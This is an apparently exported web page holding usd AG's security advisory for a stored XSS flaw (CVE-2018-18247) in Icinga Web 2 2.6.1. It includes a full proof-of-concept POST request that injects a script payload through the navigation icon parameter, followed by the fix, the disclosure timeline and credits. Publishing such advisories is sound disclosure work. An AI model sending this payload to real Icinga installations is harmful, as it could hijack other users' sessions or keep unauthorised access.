{"id":16579,"date":"2021-07-08T10:05:00","date_gmt":"2021-07-08T08:05:00","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2018-0029\/"},"modified":"2021-07-19T14:09:30","modified_gmt":"2021-07-19T12:09:30","slug":"usd-2018-0029","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2018-0029\/","title":{"rendered":"usd-2018-0029"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<h1 class=\"h-custom-headline usd-small-letters h2\"><span>usd-2018-0029 | Icinga Web 2\/2.6.1<\/span><\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2018-0029<\/span><br \/><strong>CVE number<\/strong><span>: CVE-2018-18247<\/span><br \/><strong>Affected Product<\/strong><span>: Icinga Web 2<\/span><br \/><strong>Affected Version<\/strong><span>: 2.6.1<\/span><br \/><strong>Vulnerability Type<\/strong><span>: Stored XSS<\/span><br \/><strong>Security Risk<\/strong><span>: High<\/span><br \/><strong>Vendor URL<\/strong><span>: <\/span><a href=\"https:\/\/www.icinga.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.icinga.com\/<\/a><br \/><strong>Vendor Status<\/strong><span>: Fixed<\/span><\/p>\n<h3><\/h3>\n<h3>Description<\/h3>\n<p><span>Stored XSS attack (or persistent attack) occurs when a malicious script is injected directly into a vulnerable web application. Therefore the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.<\/span><\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<p><span>The following POST request sent by an authenticated user will create a navigation element for that user (CSRF Token and Cookies need to be valid):<\/span><span><\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]POST \/icingaweb2\/navigation\/add HTTP\/1.1<br \/>\nHost: 82.98.89.32<br \/>\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:52.0) Gecko\/20100101 Firefox\/52.0<br \/>\nAccept: *\/*<br \/>\nAccept-Language: en-US,en;q=0.5<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nReferer: http:\/\/82.98.89.32\/icingaweb2\/navigation<br \/>\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8<br \/>\nX-Icinga-Accept: text\/html<br \/>\nX-Icinga-WindowId: zomfnajxchlq<br \/>\nX-Requested-With: XMLHttpRequest<br \/>\nContent-Length: 338<br \/>\nCookie: icingaweb2-announcements=%7B%22acknowledged%22%3A%5B%5D%2C%22etag%22%3A%22fdf22446%22%2C%22next%22%3Anull%7D; Icingaweb2=g4egqavdb07u0d6kumaabkhrp9ieuurq; icingaweb2-session=1536677143; icingaweb2-tzo=7200-1<br \/>\nConnection: close<\/p>\n<p>name=Test1&amp;amp;type=menu-item&amp;amp;parent=&amp;amp;target=_blank&amp;amp;url=Test&amp;amp;icon= https:\/\/www.usd.de\/wp-content\/uploads\/2014\/11\/logo-zusatz_kopfzeile_gr.png\"&amp;gt;alert('XSS')&amp;amp;formUID=form_config_navigation&amp;amp;CSRFToken=19899734%7C5b5599089be32371c84e3cd1ede67f513232add447b299d81705f21f3a6c39ed&amp;amp;btn_submit=Save+Changes<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p>The payload https:\/\/www.usd.de\/wp-content\/uploads\/2014\/11\/logo-zusatz_kopfzeile_gr.png\u201c&gt;alert(\u201aXSS\u2018) is inserted into the icon parameter.<\/p>\n<p>The added navigation element is subsequently included in the navigation bar on the left. This can be exploited to attack other users if the attacker holds the privilege to share navigation elements. An attacker with temporary access to a user account could also use this to maintain access.<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p><span>Make sure to validate the user supplied input and encode the output.<\/span><br \/><span>https:\/\/www.owasp.org\/index.php\/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet.<\/span><\/p>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2018-09-12 First contact request via security@icinga.com<\/li>\n<li>2018-10-02 Vendor received advisories via security@icinga.com<\/li>\n<li>2018-10-11 CVE-ID requested.<\/li>\n<li>2018-10-12 received CVE ID and notified vendor about it<\/li>\n<li>2018-11-09 extended public disclosure deadline to 2018-11-25<\/li>\n<li>2018-11-23 vendor states to have fixed the vulnerability in Icinga Web 2 v2.6.2<\/li>\n<li>2018-12-07 Security advisory released<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p><span>These security vulnerabilities were found by Maximilian Boehner of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2018-0029 | Icinga Web 2\/2.6.1 Advisory ID: usd-2018-0029CVE number: CVE-2018-18247Affected Product: Icinga Web 2Affected Version: 2.6.1Vulnerability Type: Stored XSSSecurity Risk: HighVendor URL: https:\/\/www.icinga.com\/Vendor Status: Fixed Description Stored XSS attack (or persistent attack) occurs when a malicious script is injected directly into a vulnerable web application. Therefore the injected script is permanently stored on the target [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16579","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16579","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16579"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16579\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16579"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}